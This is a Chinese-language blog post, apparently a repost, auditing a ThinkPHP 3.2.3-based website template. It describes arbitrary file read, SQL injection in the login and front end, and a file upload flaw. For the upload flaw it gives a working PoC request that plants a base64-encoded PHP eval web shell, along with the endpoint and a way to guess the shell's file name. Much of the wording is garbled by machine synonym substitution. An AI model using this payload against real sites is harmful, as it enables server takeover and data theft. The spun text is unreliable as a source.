每天分享更多黑客技能,工具及体系化视频教程(免费领)

由于自己一贯在学习用python编写小工具,然后看到了一些文章关于扫描网站后台备份文件的脚本

我就参照着写了好久的脚本代码,都是低效率代码

php默认访问index代码审计入门 之私密小网站 CSS

然后勉强算是写好了,运行了一下

哎、查当作果还真扫出来了两个包,还是有点用的

好了进入正题:

一、框架剖析

解压创造,目录有thinkphp,在tp的根本上进行的二次开拓,tp存在的漏洞肯定存在!

(由于一些文件的名字可以找到该模板、以是打码了)

查看一下tp的版本:3.2.3

Tp3.2.3 可能存在缓存漏洞、sql注入漏洞,sql注入暂时放放,缓存漏洞看看有没有。

参考一下:

https://www.bilibili.com/read/cv10345589?from=search

要存在漏洞的话,肯定须要调用tp框架的Cache::set方法,查找全局,看有没有调用。
可惜没有调用,那就凉了。

二、网站构造剖析

一键开启自动审计!

趁着这个韶光大致浏览了一下网站的构造,它没有把全部功能写到controller里面

没有将index.php作为唯一的入口文件,可以访问其他文件进入其他掌握器

它采取tp的URL_MODEL=0的模式,index.php对m传参进行洗濯

网站如果访问index.php默认访问Home模块的index掌握器。

而想进入后台,则要找到入口文件××.php,它的m值为默认Admin、进入admin模块。

以是要进后台,如果××.php没有改变的话,那么访问××.php就可以了。

三、漏洞代码审计

(一)、傻瓜式漏洞

明显的任意文件读取漏洞,而且出错可以报出网站根目录。

这个找到敏感信息便可以读取。

数据库账号密码就来了~

(二)、后台登录sql注入

什么??直接拼接post的值,实锤sql注入,但是不能万能钥匙登录

由于无论如何都要验证加密了的password是否精确,幸运的是这里可以用显错注入

上sqlmap跑一下就可以了。
或者添加一个用户,进入后台搞事情嘻嘻嘻。

这里暂时先不进去,看看前台有什么可以搞的。

(三)、前台sql注入

一堆sql注入,我不一一验证了,各位大佬们肯定能一眼看出来,比如以下:

都没有过滤,而且又没有利用tp的自带函数,那就凉了嘛。

(四)、前台文件上传漏洞

经由不懈的努力,终于找到了一个文件上传的漏洞,这道题有点像ctf,

看来还是要多做点ctf的题呀,多练练思维。

以下为漏洞代码:

/ 公共上传图片方法 / public function Upload(){ $base64_image_content = I("post.img"); $image_name = I("post.name"); $len = I("post.size"); $baseLen = strlen($base64_image_content); if($len!=$baseLen) $this->error("上传图片不完全"); if (preg_match('/^(data:\simage\/(\w+);base64,)/', $base64_image_content, $result)){ $uploadFolder = C('UPLOADPATH').date("Ymd")."/"; if(!is_dir($uploadFolder)){ if(!mkdir($uploadFolder, 0755, true)){ $this->error('创建文件失落败'); } } $type = $result[2]; if(empty($image_name)){ $new_file = $uploadFolder.date("His")."_".mt_rand(0, 1000).".{$type}"; }else{ $new_file = $uploadFolder.$image_name."_".date("mdHis").".{$type}"; } $img_64 = base64_decode(str_replace($result[1], '', $base64_image_content)); if (file_put_contents($new_file,$img_64)){ $this->success(complete_url($new_file)); } }else{ $this->error("图片不存在"); } }}

由图可知,代码利用tp框架的函数I() 来获取数据,具有一定的安全性,它的函数实现了html实体转化。

但是呢,这里他利用了base64的编码进行输入,以是<>都可以生效。

接下来看一下知足的条件:

1.Size的post传参和$baseLen数据长度一样,也便是size便是img传参的长度。
2.preg_match('/^(data:\simage\/(\w+);base64,)/', $base64_image_content, $result)//只要输入的img知足data: image/jpg;base64, 就能匹配出三个结果:

3.是否存在目录。
(肯定有的~)

代码往下走便是:$type=$result[2];

也便是说type是文件后缀,那让result[2]=php不就完美了?

于是就有:data: image/php;base64

再接着这段代码:

if(empty($image_name)){ $new_file = $uploadFolder.date("His")."_".mt_rand(0, 1000).".{$type}"; }else{ $new_file = $uploadFolder.$image_name."_".date("mdHis").".{$type}"; } $img_64 = base64_decode(str_replace($result[1], '', $base64_image_content)); if (file_put_contents($new_file,$img_64)){ $this->success(complete_url($new_file)); } }else{ $this->error("图片不存在"); }

判断有无name传参,有就拼接目录、韶光、和$type。
个中type为后缀,那就OK,可以上传php文件。

末了看一下file_put_contents两个参数,$new_file 为写入的目录文件,$img_64为写入的内容。
内容假如一句话木马才行。

$img_64是前辈行替代操作str_replace($result[1], ‘’, $base64_image_content),再进行base64解码。

以是data: image/jpg;base64,之后的内容是一句话木马的base64的加密内容就行。

详细name的传参无关紧要,而size是要即是img的字符长度,即可触发文件上传漏洞。

总结便是,该漏洞由于太相信上传的img文件类型,而触发文件上传漏洞。

综上可得到poc为:

img=data: image/php;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbMTJdKTs/Pg==& &name=jpg&size=63

PD9waHAgZXZhbCgkX1JFUVVFU1RbMTJdKTs/Pg==是一句话木马base加密的内容。

个中,要连接一句话木马就要知道韶光戳。

本地复现:

上传的文件名是jpg_0430130105.php 文件名不难猜,月日时秒考试测验实操:

url为:http://url/index.php?m=&c=indexAjax&a=uploadpoc为:

img=data: image/php;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbMTJdKTs/Pg==&name=jpg&size=63

上传成功,看看效果:

成功。

菜刀就不连了!

开溜是不可能开溜的,后续我还会再考试测验一下这个审计一下,若有其他新奇的漏洞代码,我再上传。

心得体会:

我自己通过学习了大约一星期的tp框架,才入门了这个审计

我以为、不一定自己要有多懂代码、不一定要非得自己写一个网站

但是框架里面的运用包括内置函数这些一定要懂!

这就像一个手机app一样,基本的操作方法会了之后,你就可以找出这个app有哪些小bug。

但是像大佬一样,审计框架里的内容,那可能还有很远的路要走,一起加油吧!